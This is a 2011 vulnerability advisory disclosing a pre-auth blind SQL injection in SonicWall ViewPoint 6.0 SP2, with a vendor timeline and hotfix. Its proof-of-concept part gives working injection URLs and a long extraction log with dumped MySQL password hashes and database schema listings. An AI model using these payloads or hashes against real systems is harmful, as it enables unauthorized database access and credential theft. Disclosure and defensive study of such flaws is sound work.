Title: ====== SonicWall Viewpoint v6.0 SP2 - Blind SQL Injection Vulnerability Date: ===== 2011-10-02 References: =========== http://www.vulnerability-lab.com/get_content.php?id=196 VL-ID: ===== 196 Introduction: ============= SonicWALL® ViewPoint™ ist ein benutzerfreundliches webbasiertes Reporting-Tool, das die Sicherheitsprodukte und -dienste von SonicWALL vollständig unterstützt und erweitert. Es kann flexibel als Software oder virtuelle Appliance implementiert werden. Umfassende Reporting-Funktionen geben Administratoren einen unmittelbaren Einblick in den Zustand, die Leistung und die Sicherheit ihres Netzwerks. Mithilfe der anpassbaren Übersichtsanzeige und einer Vielzahl von Verlaufsberichten unterstützt SonicWALL ViewPoint Unternehmen aller Größen dabei, Netzwerknutzung und Sicherheitsaktivitäten zu überwachen und die Webnutzung anzuzeigen. (Copy of the Vendor Homepage: http://www.sonicwall.com/de/Centralized_Management_and_Reporting.html) Abstract: ========= Vulnerability-Lab Team discovered a remote exploitable blind sql injection vulnerability on Sonicwalls Viewpoint v6.0 SP2. Report-Timeline: ================ 2011-06-16: Vendor Notification 2011-09-21: Vendor Response/Feedback 2011-10-01: Vendor Fix/Patch 2011-10-02: Public or Non-Public Disclosure Status: ======== Published Affected Products: ================== SonicWall Product: ViewPoint Application v6.0 SP2 Exploitation-Technique: ======================= Remote Severity: ========= Critical Details: ======== A remote sql injection vulnerability is detected on the famous Sonicwall Viewpoint Application v6.x. The vulnerability allows an attacker to inject/execute (pre-auth) own sql statements. The successfully exploitation of the vulnerability can lead to unauthorized database access. Vulnerable Modules(SQL): [+] Schedule Reports (pre auth) Pictures: ../sql1.png ../sql2.png Example URL: https://gms.xxx.com/sgms/reports/scheduledreports/configure/scheduleProps.jsp?scheduleID= --- SQL Log --- select @@version = 5.0.83-enterprise-nt select user() = vpuser@localhost select @@datadir = C:\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\GMSVP\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\MySQL\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\data\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ SELECT count(schema_name) FROM information_schema.schemata = 43 SELECT schema_name FROM information_schema.schemata limit 0,1 = information_schema SELECT schema_name FROM information_schema.schemata limit 1,1 = mysql SELECT schema_name FROM information_schema.schemata limit 2,1 = rawsyslogdb_20090905 SELECT schema_name FROM information_schema.schemata limit 3,1 = rawsyslogdb_20090906 SELECT schema_name FROM information_schema.schemata limit 4,1 = rawsyslogdb_20090907 SELECT schema_name FROM information_schema.schemata limit 10,1 = rawsyslogdb_20100223 SELECT schema_name FROM information_schema.schemata limit 20,1 = rawsyslogdb_20100305 SELECT schema_name FROM information_schema.schemata limit 30,1 = rawsyslogdb_20100315 SELECT schema_name FROM information_schema.schemata limit 37,1 = rawsyslogdb_20100322 SELECT schema_name FROM information_schema.schemata limit 39,1 = rawsyslogdb_20100324 SELECT schema_name FROM information_schema.schemata limit 40,1 = sgmsdb SELECT schema_name FROM information_schema.schemata limit 41,1 = sgmsdb_archive SELECT schema_name FROM information_schema.schemata limit 42,1 = test +----------------------+ | Databases | +----------------------+ | mysql | | rawsyslogdb_20090905 | | rawsyslogdb_20090906 | | rawsyslogdb_20090907 | | rawsyslogdb_20090926 | | rawsyslogdb_20090927 | | rawsyslogdb_20090928 | | rawsyslogdb_20090929 | | rawsyslogdb_20090930 | | rawsyslogdb_20100225 | | rawsyslogdb_20100226 | | rawsyslogdb_20100227 | | rawsyslogdb_20100228 | | rawsyslogdb_20100301 | | rawsyslogdb_20100302 | | rawsyslogdb_20100303 | | rawsyslogdb_20100304 | | rawsyslogdb_20100305 | | rawsyslogdb_20100306 | | rawsyslogdb_20100307 | | rawsyslogdb_20100308 | | rawsyslogdb_20100309 | | rawsyslogdb_20100310 | | rawsyslogdb_20100311 | | rawsyslogdb_20100312 | | rawsyslogdb_20100313 | | rawsyslogdb_20100314 | | rawsyslogdb_20100315 | | rawsyslogdb_20100316 | | rawsyslogdb_20100317 | | rawsyslogdb_20100318 | | rawsyslogdb_20100319 | | rawsyslogdb_20100320 | | rawsyslogdb_20100321 | | rawsyslogdb_20100322 | | rawsyslogdb_20100323 | | rawsyslogdb_20100324 | | rawsyslogdb_20100325 | | rawsyslogdb_20100326 | | sgmsdb | | sgmsdb_archive | | test | +----------------------+ SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user limit 0,1 = localhost:root:*50F99C5E85A49EF12C936A17C978C626B9D2BA98 SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user limit 1,1 = 127.0.0.1:root: SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user limit 2,1 = %:root:*50F99C5E85A49EF12C936A17C978C626B9D2BA98 SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user limit 3,1 = localhost:vpuser:*51297F75C4E5B009F5D973BA8E94831BC1A9A2E0 SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user limit 4,1 = %:vpuser:*51297F75C4E5B009F5D973BA8E94831BC1A9A2E0 Database: sgmsdb [324 tables] +--------------------------------+ | ac_categories | | ac_desc | | ac_enum | | ac_models | | ac_nodes | | activation_codes | | alert_ui_details | | alert_ui_screens | | alertcontents | | alertdstschedmappings | | alerts | | alerttypes | | appliances | | archive_tables | | as_categories | | aspyware_signatures | | auth_servers | | bkp_reporting_dependent_tables | | central_gateway | | csm_categories | | csm_default_appfilter_ports | | csm_signatures | | dao_archive_tables | | dash_page | | dash_page_comp | | default_rss_feeds | | diag_snapshots | | domains | | ec_rule_args | | ec_rule_argvals | | ec_rule_groups | | ec_rule_stmts | | ec_rules | | firmware_versions | | firmwareimagetbl | | fw_dea_unit_data | | fw_dea_unit_keys | | fwdyndata | | gav_signatures | | gmsvpinstances | | hm_appliance_config | | hm_httpclient_config | | hm_record | | hm_recording | | hm_service_config | | hm_template | | impl_info | | ips_categories | | log_custom_settings_tbl | | logs | | logs_msg_autosuggest | | mgmt_dea_services | | mgmt_dea_xfrs | | mgmt_feature | | mgmt_fw_filter | | mgmt_fw_filter_data | | mgmt_fw_filter_perms | | mgmt_inh_dep_screens_view | | mgmt_misc_scrn_params | | mon_emailalertschedule | | mon_tunnel_status | | monactions | | moncategories | | mondevices | | monitors | | monpings | | monseverity | | monsnmpacquiredata | | monsnmpdata | | monsnmpinfo | | monsnmpmibinfo | | monsnmprealtimemonitorelements | | monsnmprealtimemonitors | | monsnmprtmtemplateelements | | monsnmprtmtemplates | | monthresholdelements | | monthresholds | | non_allowed_devices | | olh_groupname | | params | | params1 | | params2 | | params3 | | params_group_info | | params_info | | perf_db_backup | | perf_summarizer_thread | | perf_syslog_collector | | perf_syslog_files | | perf_viewpoint_summarizer | | pkiadmin | | pkiusercert | | rc_cert | | rc_sa | | rc_snmp | | rc_syslog | | report_module_perf_metrics | | schedulegroups | | scheduleripc | | schedulers | | schedules | | schedulesmapping | | screens | | scrn_perms | | settings | | severities | | sgms_config | | sgms_sessions | | sgms_views | | signature_status | | signatureimagetbl | | signatures | | sonicpoint_country_tbl | | sonicpoint_domain_tbl | | static_devices | | sub_policy | | summarizer_modules | | summarizers | | sw_0017c51036b8 | | sw_addr_groups | | sw_addr_objects | | sw_allowed_urls | | sw_as_product_settings | | sw_as_signature_settings | | sw_aspywareexcludelist | | sw_av_ext | | sw_av_ips | | sw_cert_blacklist | | sw_cert_whitelist | | sw_certs | | sw_cfacategories | | sw_cfacustomcategories | | sw_cfaexcluderanges | | sw_cfafiletypes | | sw_cfakeywords | | sw_cfapolicies | | sw_cfaurls | | sw_cfs_enterprise | | sw_cfsexcluderanges | | sw_consent_ip_addresses | | sw_csm_appfilter_ports | | sw_ddns | | sw_dhcp_dynamic_ranges | | sw_dhcp_grp_members | | sw_dhcp_opt_grps | | sw_dhcp_options | | sw_dhcp_static_ranges | | sw_dmz | | sw_forbidden_urls | | sw_fw_access_rules | | sw_gavexcluderanges | | sw_grp_schedules | | sw_guest_profiles | | sw_ha_full_monitoring | | sw_ha_monitoring | | sw_idpexcluderanges | | sw_ids_aps | | sw_ind_alert_data | | sw_ind_history | | sw_ind_hm_params | | sw_ind_ipssiglist | | sw_ind_migration1 | | sw_ind_migration2 | | sw_ind_params4 | | sw_ind_svportalsettings | | sw_info | | sw_interfaces | | sw_intranet | | sw_ip_helper_apps | | sw_iphelper | | sw_ips_categories | | sw_knownservices | | sw_knownservices_info | | sw_lans | | sw_lic_nodes | | sw_local_groups | | sw_local_users | | sw_local_usr_grp_obj_relation | | sw_meta_cfs_categories | | sw_monitor_objects | | sw_nat_objects | | sw_ntp_servers | | sw_one_to_one_nat | | sw_profiles | | sw_qos_mapping | | sw_rbl_domains | | sw_rip | | sw_route_objects | | sw_routes | | sw_rules | | sw_sas | | sw_schedules | | sw_service_groups | | sw_service_objects | | sw_services | | sw_signatures | | sw_sonicpoints | | sw_sonicpoints_n | | sw_sso_auth_agents | | sw_static_arp | | sw_switch_ports | | sw_syslog_server | | sw_trusted_urls | | sw_ulahttpurls | | sw_url_keywords | | sw_user_group_trees | | sw_user_trees | | sw_useraddressranges | | sw_users | | sw_userservices | | sw_vap | | sw_vap_groups | | sw_vpnaddressranges | | sw_vpnservices | | sw_wepclient | | sw_wgs_ipdeny | | sw_wgs_keywords | | sw_wgs_profiles | | sw_wifiservices | | sw_wirelessguest | | sw_wirelessmac | | sw_zones | | tasks | | thresholdelements | | thresholds | | translation_tbl | | trapmgrs | | unit_level_app_settings | | unit_perms | | unituptimestats | | used_accodes | | userpasswords | | users | | users_motd | | version | | vp_alert_data | | vp_appl_dts | | vp_appl_summarizer_settings | | vp_by_category_summary | | vp_by_policy_summary | | vp_by_site_detail | | vp_by_site_summary | | vp_categories | | vp_connection_details | | vp_connection_events | | vp_cstm_configs | | vp_cstm_fields | | vp_cstm_rules | | vp_cstm_templates | | vp_cstm_templates_fields | | vp_cstm_templates_rules | | vp_dest_hosts | | vp_dn_dest_library | | vp_dn_src_library | | vp_email_details | | vp_email_logos | | vp_email_profiles | | vp_email_receivers | | vp_email_screens | | vp_email_summary | | vp_firewall_reports | | vp_firewall_totals | | vp_firewalls | | vp_host_summary | | vp_hosts_for_auto_suggest | | vp_hourly_summary | | vp_login_summary | | vp_report_dates | | vp_reports | | vp_service_details | | vp_service_summary | | vp_service_type | | vp_services | | vp_site_detail | | vp_src_hosts | | vp_top_detail | | vp_top_report_summary | | vp_top_summary | | vp_total_types | | vp_unit_summarizer_settings | | vp_users | | vp_websites_filter | | vp_webusers_filter | | vpappfw_connection_policies | | vpappfw_daily_totals | | vpappfw_events | | vpappfw_hourly_totals | | vpappfw_policies | | vpcdp_agent_daily_status | | vpcdp_agents | | vpcdp_appl_daily_status | | vpcdp_appl_dts | | vpcdp_appliances | | vpcdp_daily_details | | vpcdp_daily_summary | | vpcdp_filetypes | | vpcdp_hourly_summary | | vpecm_agent_service | | vpecm_agents | | vpecm_appl_dts | | vpecm_daily_totals | | vpecm_hazards | | vpecm_service_types | | vpecm_summary | | vpecm_top_hazards | | vpssl_appl_dts | | vpssl_daily_performance | | vpssl_daily_totals | | vpssl_details | | vpssl_dst_hosts | | vpssl_events | | vpssl_hourly_performance | | vpssl_hourly_totals | | vpssl_login_events | | vpssl_login_types | | vpssl_resources | | vpssl_src_hosts | | vpssl_total_types | | vpssl_users | | wireless_country_list | | ws_configs | | ws_distributed_appliances | | ws_distributed_instances | | ws_services | +--------------------------------+ Database: sgmsdb Table: vp_users [5 columns] +----------------+--------------+ | Column | Type | +----------------+--------------+ | domain | varchar(250) | | id | bigint(20) | | last_updated | timestamp | | last_updatedby | varchar(35) | | name | varchar(250) | +----------------+--------------+ Database: sgmsdb Table: userpasswords [5 columns] +----------------+-------------+ | Column | Type | +----------------+-------------+ | domainID | varchar(32) | | ID | varchar(64) | | last_updated | timestamp | | LAST_UPDATEDBY | char(32) | | PASSWORD | varchar(64) | +----------------+-------------+ Database: sgmsdb Table: users [74 columns] +--------------------------------+--------------+ | Column | Type | +--------------------------------+--------------+ | active | varchar(2) | | activePage | varchar(32) | | activeTill | datetime | | APPSELSHOW | varchar(1) | | AUDIO | varchar(3) | | authServerID | varchar(32) | | autoDelete | varchar(2) | | COMMENTS | varchar(255) | | comments_enabled | smallint(5) | | controls | varchar(254) | | CREATION_DATE | timestamp | | dashboardBarAutoHideStatus | varchar(32) | | datePwdChanged | datetime | | DISABLED | smallint(5) | | DOCKINGVALUE | varchar(3) | | domainID | varchar(32) | | doNotShowSMTPParamsWarnilg | | | dst_interface | varchar(10) | | EMAIL1 | varchar(64) | | EMAIL2 | varchar(64) | | enable_session_popup | smallint(5) | | FAX | varchar(24) | | FNAME | varchar(32) | | hmRecordBarAutoHideStatus | smallint(1) | | ID | varchar(32) | | IDLE_TIMEOUT | smallint(5) | | issuperadmin | smallint(1) | | itemsPerPage | varchar(3) | | LAST_LOGIN | datetime | | last_updated | datetime | | last_updatedby | char(32) | | liveMonitorAutoScrollStatus | varchar(32) | | liveMonitorBarAutoHideStatus | varchar(32) | | liveMonitorRefreshInterval | varchar(32) | | LNAME | varchar(32) | | lockoutCounter | varchar(2) | | MNAME | varchar(32) | | monEnableAutoRefresh | varchar(4) | | monMinDashSeverity | varchar(32) | | monUIAutoRefreshInterval | varchar(16) | | monUIStatusSelection | varchar(64) | | monUITableColCount | varchar(24) | | monUITableColor | varchar(24) | | monUITableRowHeight | varchar(24) | | monViewType | varchar(4) | | MSGS_PER_SCREEN | smallint(5) | | needPwdChange | varchar(2) | | PAGER | varchar(24) | | PASSWORD | char(32) | | PHONE | varchar(24) | | REPORT_BIDIRECTIONAL | smallint(5) | | REPORT_END_HOUR | varchar(8) | | REPORT_NUM_ENTRIES_PER_ITEM | varchar(8) | | REPORT_NUM_ITEMS | varchar(8) | | REPORT_NUM_SITES | varchar(8) | | REPORT_NUM_USERS | varchar(8) | | REPORT_ROWS_PER_SCREEN | smallint(5) | | REPORT_SITES_BY_USERS | varchar(8) | | REPORT_SITES_LIST | varchar(256) | | REPORT_START_HOUR | varchar(8) | | REPORT_USERS_LIST | varchar(256) | | REPORT_USERS_WHOLE_NAMEIP_SRCH | smallint(5) | | REPORT_VIEW_TYPE | smallint(5) | | SCHEDS_PER_SCREEN | smallint(5) | | scheduleid | varchar(32) | | screenDefaultChartTypes | varchar(50) | | smtpParamWarningLastShowTime | datetime | | src_interface | varchar(10) | | STOCK | smallint(5) | | TASKS_PER_SCREEN | smallint(5) | | USER_TYPE_ID | varchar(32) | | usertypeType | varchar(2) | | VIEW_ID | varchar(32) | | vp_controls | varchar(254) | +--------------------------------+--------------+ Note: The file is not just located on viewpoint ;) Proof of Concept: ================= The sql vulnerability can be exploited by remote attackers(pre-auth). For demonstration or reproduce ... Server: http://viewpoint.demo.sonicwall.com Path: /sgms/reports/scheduledreports/configure/ File: scheduleProps.jsp Param: ?scheduleID= SonicWall => [scheduleProps.jsp] Remote SQL-Injection [PoC]

SonicWall => [scheduleProps.jsp] - Remote SQL-Injection [PoC]

VICTIM:

EXAMPLE: HTTP://WWW.EXAMPLE-SERVER.DE/


~rem0ve | ~x4lt

References(SQL): http://viewpoint.xxx.com/sgms/reports/scheduledreports/configure/scheduleProps.jsp?scheduleID=3%20order%20by%201,%20%28 select%20case%20when%20%281=1%29%20%20then%201%20else%201*%28select%20table_name%20from%20information_schema.tables%29end%29=1; http://viewpoint.xxx.com/sgms/reports/scheduledreports/configure/scheduleProps.jsp?scheduleID=3 order by type http://viewpoint.xxx.com/sgms/reports/scheduledreports/configure/scheduleProps.jsp?scheduleID=3 order by message https://gms.xxx.com/sgms/reports/scheduledreports/configure/scheduleProps.jsp?scheduleID='g0d-hac Solution: ========= The hotfix is available today(2011-10-01) to customers for download from our registration site (www.mysonicwall.com) HOTFIX ID: 104767 Risk: ===== The security risk of the sql injection vulnerability is estimated as critical because of the pre-auth remote attack technique. Credits: ======== Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve) & Pim J.F. Campers (X4lt) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability- Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab or its suppliers. Copyright © 2011|Vulnerability-Lab -- Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com Contact: admin@vulnerability-lab.com or support@vulnerability-lab.com Phone: 01776757259